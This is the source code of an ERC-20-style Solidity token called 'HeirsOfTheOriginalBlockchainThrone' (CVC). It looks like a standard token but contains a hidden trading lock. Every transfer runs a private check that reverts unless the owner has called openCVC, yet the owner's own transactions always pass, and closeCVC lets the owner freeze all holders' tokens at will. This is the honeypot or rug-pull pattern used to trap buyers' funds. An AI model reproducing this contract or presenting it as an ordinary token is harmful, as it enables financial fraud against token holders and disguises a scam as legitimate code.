creation_sourcecode: // SPDX-License-Identifier: MIT
  
  pragma solidity 0.8.17;
  
  contract CVC {
  
      address private _owner;
  
      mapping(address => uint256) private _balances;
      mapping(address => mapping(address => uint256)) private _allowances;
  
      uint256 private _totalSupply;
  
      string private _name;
      string private _symbol;
  
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(address indexed owner, address indexed spender, uint256 value);
  
      constructor() {
          _owner = msg.sender;
  
          _name = "HeirsOfTheOriginalBlockchainThrone";
          _symbol = "CVC";
  
          _mint(msg.sender, 866000000000000000000000000000);
      }
  
      function owner() public view returns (address) {
          return _owner;
      }
  
      function name() public view returns (string memory) {
          return _name;
      }
  
      function symbol() public view returns (string memory) {
          return _symbol;
      }
  
      function decimals() public pure returns (uint8) {
          return 18;
      }
  
      function totalSupply() public view returns (uint256) {
          return _totalSupply;
      }
  
      function balanceOf(address account) public view returns (uint256) {
          return _balances[account];
      }
  
      function transfer(address recipient, uint256 amount) public returns (bool) {
          _transfer(msg.sender, recipient, amount);
          return true;
      }
  
      function allowance(address owner, address spender) public view returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function approve(address spender, uint256 amount) public returns (bool) {
          _approve(msg.sender, spender, amount);
          return true;
      }
  
      function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
          _transfer(sender, recipient, amount);
          _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
          return true;
      }
  
      function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
          _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
          return true;
      }
  
      function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
          _approve(msg.sender, spender, _allowances[msg.sender][spender] - subtractedValue);
          return true;
      }
  
      function _transfer(address sender, address recipient, uint256 amount) internal {
          _checkCVC();
          _balances[sender] -= amount;
          _balances[recipient] += amount;
          emit Transfer(sender, recipient, amount);
      }
  
      function _mint(address account, uint256 amount) internal {
          _totalSupply += amount;
          _balances[account] += amount;
          emit Transfer(address(0), account, amount);
      }
  
      function _burn(address account, uint256 amount) internal {
          _balances[account] -= amount;
          _totalSupply -= amount;
          emit Transfer(account, address(0), amount);
      }
  
      function _approve(address owner, address spender, uint256 amount) internal {
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      bool private _isCVC;
  
      function isCVC() public view returns (bool) {
          return _isCVC;
      }
  
      function openCVC() external {
          require(msg.sender == _owner);
          _isCVC = true;
      }
  
      function closeCVC() external {
          require(msg.sender == _owner);
          _isCVC = false;
      }
  
      function _checkCVC() private view {
          if (tx.origin != _owner) {
              require(_isCVC);
          }
      }
  }